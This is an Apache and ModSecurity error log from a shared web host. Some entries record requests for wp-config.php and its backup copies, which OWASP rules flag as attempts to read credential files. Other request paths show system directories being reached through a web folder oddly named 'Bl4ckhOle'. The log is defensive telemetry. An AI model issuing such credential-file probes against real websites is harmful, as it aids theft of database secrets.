[Fri Jul 17 08:37:18.285922 2026] [security2:error] [pid 2018741:tid 2018741] [client 57.141.18.113:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory2/node0/memory118/node0/memory127/node0/memory21/power/"] [unique_id "almcZroj0IkvhSCYadl_WgAAAAQ"]
[Fri Jul 17 08:37:20.406968 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 57.141.18.23:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory3/subsystem/devices/memory73/subsystem/devices/memory125/node0/memory41/subsystem/uevent
[Fri Jul 17 08:37:20.656994 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:37:20.663280 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:37:23.139559 2026] [ssl:error] [pid 2018746:tid 2018746] (70014)End of file found: [client 66.85.158.91:35660] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:37:23.606943 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:37:23.623989 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:37:23.897537 2026] [security2:error] [pid 2018767:tid 2018767] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almca6quHSHoCJK_V0R-4QAAABs"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:37:23.897613 2026] [security2:error] [pid 2018767:tid 2018767] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almca6quHSHoCJK_V0R-4QAAABs"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:37:24.957253 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:35758] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:37:31.274931 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almcc41dLClkUfK_dfHiwQAAAAI"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:37:31.274984 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almcc41dLClkUfK_dfHiwQAAAAI"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:37:37.495028 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:45100] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:37:37.733681 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:45110] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:37:44.060285 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 57.141.18.116:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory91/subsystem/devices/memory93/subsystem/devices/memory55/node0/memory72/subsystem/uevent
[Fri Jul 17 08:37:45.176970 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almcgQ5GPQ6hs4VrfMo-9QAAAAY"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:37:45.177009 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almcgQ5GPQ6hs4VrfMo-9QAAAAY"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:37:46.771970 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:37:49.395583 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:37:49.403017 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:37:49.553123 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almchVh1WDijTxd1xw5KBAAAAAc"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:37:49.553167 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almchVh1WDijTxd1xw5KBAAAAAc"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:37:53.164692 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:37:54.185145 2026] [security2:error] [pid 1993574:tid 1993574] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almcit0t9Kb_MdNxrg6_9wAAAAM"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:37:54.185185 2026] [security2:error] [pid 1993574:tid 1993574] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almcit0t9Kb_MdNxrg6_9wAAAAM"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:37:54.487889 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:39466] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:37:54.993988 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:39486] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:37:58.590612 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:39628] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:38:00.058395 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:38:01.444431 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:38:01.491410 2026] [mime:warn] [pid 2018764:tid 2018764] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:38:02.475601 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:57784] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:38:02.539400 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:57794] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:38:02.874128 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:57814] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:38:03.963187 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:57848] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:38:04.111620 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:38:07.775402 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:38:08.097933 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:38:09.441679 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:58060] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:38:09.743071 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:38:09.752873 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:58076] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:38:09.795775 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:38:10.844804 2026] [ssl:error] [pid 2018764:tid 2018764] (70014)End of file found: [client 66.85.158.91:58124] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:38:13.554437 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:53692] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:38:15.052755 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:38:15.132960 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:53772] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:38:15.415035 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:53798] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:38:16.956215 2026] [ssl:error] [pid 2018758:tid 2018758] (70014)End of file found: [client 66.85.158.91:53850] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:38:25.540236 2026] [security2:error] [pid 1993572:tid 1993572] [client 104.28.219.193:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ceylondigest.com"] [uri "/wp-config.php.old"] [unique_id "almcqYl9vhFBGA6D8l93fgAAAAw"]
[Fri Jul 17 08:38:25.540463 2026] [security2:error] [pid 1993572:tid 1993572] [client 104.28.219.193:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylondigest.com"] [uri "/wp-config.php.old"] [unique_id "almcqYl9vhFBGA6D8l93fgAAAAw"]
[Fri Jul 17 08:38:25.540708 2026] [security2:error] [pid 1993572:tid 1993572] [client 104.28.219.193:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylondigest.com"] [uri "/wp-config.php.old"] [unique_id "almcqYl9vhFBGA6D8l93fgAAAAw"]
[Fri Jul 17 08:38:25.623416 2026] [security2:error] [pid 2014256:tid 2014256] [client 104.28.219.193:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".php~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ceylondigest.com"] [uri "/wp-config.php~"] [unique_id "almcqYZvbo7N5o5zeYC8KQAAABw"]
[Fri Jul 17 08:38:25.623587 2026] [security2:error] [pid 2014256:tid 2014256] [client 104.28.219.193:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylondigest.com"] [uri "/wp-config.php~"] [unique_id "almcqYZvbo7N5o5zeYC8KQAAABw"]
[Fri Jul 17 08:38:25.623878 2026] [security2:error] [pid 2014256:tid 2014256] [client 104.28.219.193:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylondigest.com"] [uri "/wp-config.php~"] [unique_id "almcqYZvbo7N5o5zeYC8KQAAABw"]
[Fri Jul 17 08:38:25.627954 2026] [security2:error] [pid 2018741:tid 2018741] [client 104.28.219.193:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylondigest.com"] [uri "/wp-config.php"] [unique_id "almcqboj0IkvhSCYadl_egAAAAQ"]
[Fri Jul 17 08:38:25.628213 2026] [security2:error] [pid 2018741:tid 2018741] [client 104.28.219.193:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylondigest.com"] [uri "/wp-config.php"] [unique_id "almcqboj0IkvhSCYadl_egAAAAQ"]
[Fri Jul 17 08:38:25.648921 2026] [security2:error] [pid 1993715:tid 1993715] [client 104.28.219.193:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ceylondigest.com"] [uri "/wp-config.php.bak"] [unique_id "almcqXRlmrtCoY_COpcjvAAAAAg"]
[Fri Jul 17 08:38:25.649090 2026] [security2:error] [pid 1993715:tid 1993715] [client 104.28.219.193:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylondigest.com"] [uri "/wp-config.php.bak"] [unique_id "almcqXRlmrtCoY_COpcjvAAAAAg"]
[Fri Jul 17 08:38:25.649328 2026] [security2:error] [pid 1993715:tid 1993715] [client 104.28.219.193:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylondigest.com"] [uri "/wp-config.php.bak"] [unique_id "almcqXRlmrtCoY_COpcjvAAAAAg"]
[Fri Jul 17 08:38:27.831028 2026] [security2:error] [pid 1993574:tid 1993574] [client 207.241.173.67:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-global": Permission denied [hostname "www.ceylondigest.com"] [uri "/wp-includes/js/jquery/jquery-migrate.min.js"] [unique_id "almcq90t9Kb_MdNxrg7ABAAAAAM"]
[Fri Jul 17 08:38:27.831092 2026] [security2:error] [pid 1993574:tid 1993574] [client 207.241.173.67:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-ip": Permission denied [hostname "www.ceylondigest.com"] [uri "/wp-includes/js/jquery/jquery-migrate.min.js"] [unique_id "almcq90t9Kb_MdNxrg7ABAAAAAM"]
[Fri Jul 17 08:38:28.401928 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:34714] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:38:28.651876 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:34748] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:38:29.505549 2026] [ssl:error] [pid 2018758:tid 2018758] (70014)End of file found: [client 66.85.158.91:34820] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:38:31.255807 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:59966] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:38:31.427992 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:38:31.504942 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:60012] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:38:31.613746 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:38:33.350588 2026] [security2:error] [pid 1993572:tid 1993572] [client 104.28.219.193:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylondigest.com"] [uri "/index.php"] [unique_id "almcqYl9vhFBGA6D8l93fgAAAAw"]
[Fri Jul 17 08:38:34.587496 2026] [core:error] [pid 2015125:tid 2015125] (13)Permission denied: [client 47.128.48.117:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/kernel/slab/aio_kiocb/reclaim_account
[Fri Jul 17 08:38:35.124887 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:60304] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:38:35.357210 2026] [security2:error] [pid 1993715:tid 1993715] [client 104.28.219.193:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylondigest.com"] [uri "/index.php"] [unique_id "almcqXRlmrtCoY_COpcjvAAAAAg"]
[Fri Jul 17 08:38:35.375798 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:60360] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:38:37.052976 2026] [security2:error] [pid 2018741:tid 2018741] [client 104.28.219.193:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylondigest.com"] [uri "/wp-config.php"] [unique_id "almcqboj0IkvhSCYadl_egAAAAQ"]
[Fri Jul 17 08:38:37.252380 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
